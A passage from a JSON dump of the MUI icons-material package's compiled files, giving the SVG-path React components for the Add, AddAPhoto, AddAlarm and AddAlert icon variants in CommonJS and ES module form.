    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16c0 3.87 3.13 7 7 7s7-3.13 7-7v-4H5zM16.12 4.37l2.1-2.1-.82-.83-2.3 2.31C14.16 3.28 13.12 3 12 3s-2.16.28-3.09.75L6.6 1.44l-.82.83 2.1 2.1C6.14 5.64 5 7.68 5 10v1h14v-1c0-2.32-1.14-4.36-2.88-5.63M9 9c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'AdbTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Add.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'Add');"
  },
  {
    "path": "packages/mui-icons-material/lib/Add.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13h-6v6h-2v-6H5v-2h6V5h2v6h6z\"\n}), 'Add');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhoto.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4V1h2v3h3v2H5v3H3V6H0V4zm3 6V7h3V4h7l1.83 2H21c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V10zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m-3.2-5c0 1.77 1.43 3.2 3.2 3.2s3.2-1.43 3.2-3.2-1.43-3.2-3.2-3.2-3.2 1.43-3.2 3.2\"\n}), 'AddAPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhoto.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4V1h2v3h3v2H5v3H3V6H0V4zm3 6V7h3V4h7l1.83 2H21c1.1 0 2 .9 2 2v12c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V10zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m-3.2-5c0 1.77 1.43 3.2 3.2 3.2s3.2-1.43 3.2-3.2-1.43-3.2-3.2-3.2-3.2 1.43-3.2 3.2\"\n}), 'AddAPhoto');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-3.17L16 4h-6v2h5.12l1.83 2H21v12H5v-9H3v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m5-3c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M5 6h3V4H5V1H3v3H0v2h3v3h2z\"\n}), 'AddAPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-3.17L16 4h-6v2h5.12l1.83 2H21v12H5v-9H3v9c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m5-3c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M5 6h3V4H5V1H3v3H0v2h3v3h2z\"\n}), 'AddAPhotoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 8c0 .55.45 1 1 1s1-.45 1-1V6h2c.55 0 1-.45 1-1s-.45-1-1-1H5V2c0-.55-.45-1-1-1s-1 .45-1 1v2H1c-.55 0-1 .45-1 1s.45 1 1 1h2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13\",\n  cy: \"14\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65h-6.4c.17.3.28.63.28 1 0 1.1-.9 2-2 2H6v1c0 1.1-.9 2-2 2-.37 0-.7-.11-1-.28V20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'AddAPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 8c0 .55.45 1 1 1s1-.45 1-1V6h2c.55 0 1-.45 1-1s-.45-1-1-1H5V2c0-.55-.45-1-1-1s-1 .45-1 1v2H1c-.55 0-1 .45-1 1s.45 1 1 1h2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13\",\n  cy: \"14\",\n  r: \"3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-3.17l-1.24-1.35c-.37-.41-.91-.65-1.47-.65h-6.4c.17.3.28.63.28 1 0 1.1-.9 2-2 2H6v1c0 1.1-.9 2-2 2-.37 0-.7-.11-1-.28V20c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-8 13c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"2\")], 'AddAPhotoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 4V1h2v3h3v2H5v3H3V6H0V4zm3 6V7h3V4h7l1.83 2H23v16H3V10zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m-3-5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'AddAPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 4V1h2v3h3v2H5v3H3V6H0V4zm3 6V7h3V4h7l1.83 2H23v16H3V10zm7 9c2.76 0 5-2.24 5-5s-2.24-5-5-5-5 2.24-5 5 2.24 5 5 5m-3-5c0 1.66 1.34 3 3 3s3-1.34 3-3-1.34-3-3-3-3 1.34-3 3\"\n}), 'AddAPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 7v3H5v10h16V8h-4.05l-1.83-2H9v1zm7 2c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6h-3.17L16 4H9v2h6.12l1.83 2H21v12H5V10H3v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m5-3c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M5 9V6h3V4H5V1H3v3H0v2h3v3z\"\n}, \"1\")], 'AddAPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAPhotoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 7v3H5v10h16V8h-4.05l-1.83-2H9v1zm7 2c2.76 0 5 2.24 5 5s-2.24 5-5 5-5-2.24-5-5 2.24-5 5-5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6h-3.17L16 4H9v2h6.12l1.83 2H21v12H5V10H3v10c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2M8 14c0 2.76 2.24 5 5 5s5-2.24 5-5-2.24-5-5-5-5 2.24-5 5m5-3c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M5 9V6h3V4H5V1H3v3H0v2h3v3z\"\n}, \"1\")], 'AddAPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 12h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1m6.18-6.99L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AddAlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 12h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1m6.18-6.99L18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7\"\n}), 'AddAlarmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlarmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m4 8h-3v3h-2v-3H8v-2h3V9h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3zm9-3.28-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53z\"\n}, \"1\")], 'AddAlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlarmTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.87 0-7 3.13-7 7s3.13 7 7 7 7-3.13 7-7-3.13-7-7-7m4 8h-3v3h-2v-3H8v-2h3V9h2v3h3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3zm9-3.28-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53z\"\n}, \"1\")], 'AddAlarmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlert.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zm8.87-4.19V11c0-3.25-2.25-5.97-5.29-6.69v-.72C13.59 2.71 12.88 2 12 2s-1.59.71-1.59 1.59v.72C7.37 5.03 5.12 7.75 5.12 11v5.82L3 18.94V20h18v-1.06zM16 13.01h-3v3h-2v-3H8V11h3V8h2v3h3z\"\n}), 'AddAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlert.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zm8.87-4.19V11c0-3.25-2.25-5.97-5.29-6.69v-.72C13.59 2.71 12.88 2 12 2s-1.59.71-1.59 1.59v.72C7.37 5.03 5.12 7.75 5.12 11v5.82L3 18.94V20h18v-1.06zM16 13.01h-3v3h-2v-3H8V11h3V8h2v3h3z\"\n}), 'AddAlert');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zM12 6c2.76 0 5 2.24 5 5v7H7v-7c0-2.76 2.24-5 5-5m0-4.5c-.83 0-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.01 21.01c0 1.1.89 1.99 1.99 1.99s1.99-.89 1.99-1.99zM12 6c2.76 0 5 2.24 5 5v7H7v-7c0-2.76 2.24-5 5-5m0-4.5c-.83 0-1.5.67-1.5 1.5v1.17C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1l-2-2v-6c0-3.35-2.36-6.15-5.5-6.83V3c0-.83-.67-1.5-1.5-1.5M13 8h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AddAlertOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m7-5h-1v-7c0-2.79-1.91-5.14-4.5-5.8v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1m-5-4h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 22c1.1 0 2-.9 2-2h-4c0 1.1.9 2 2 2m7-5h-1v-7c0-2.79-1.91-5.14-4.5-5.8v-.7c0-.83-.67-1.5-1.5-1.5s-1.5.67-1.5 1.5v.7C7.91 4.86 6 7.21 6 10v7H5c-.55 0-1 .45-1 1s.45 1 1 1h14c.55 0 1-.45 1-1s-.45-1-1-1m-5-4h-1v1c0 .55-.45 1-1 1s-1-.45-1-1v-1h-1c-.55 0-1-.45-1-1s.45-1 1-1h1v-1c0-.55.45-1 1-1s1 .45 1 1v1h1c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'AddAlertRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V1.5h-3v2.67C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-3-3.99h-3v3h-2v-3H8V11h3V8h2v3h3z\"\n}), 'AddAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 23c1.1 0 1.99-.89 1.99-1.99h-3.98c0 1.1.89 1.99 1.99 1.99m7-6v-6c0-3.35-2.36-6.15-5.5-6.83V1.5h-3v2.67C7.36 4.85 5 7.65 5 11v6l-2 2v1h18v-1zm-3-3.99h-3v3h-2v-3H8V11h3V8h2v3h3z\"\n}), 'AddAlertSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AddAlertTwoTone.js",
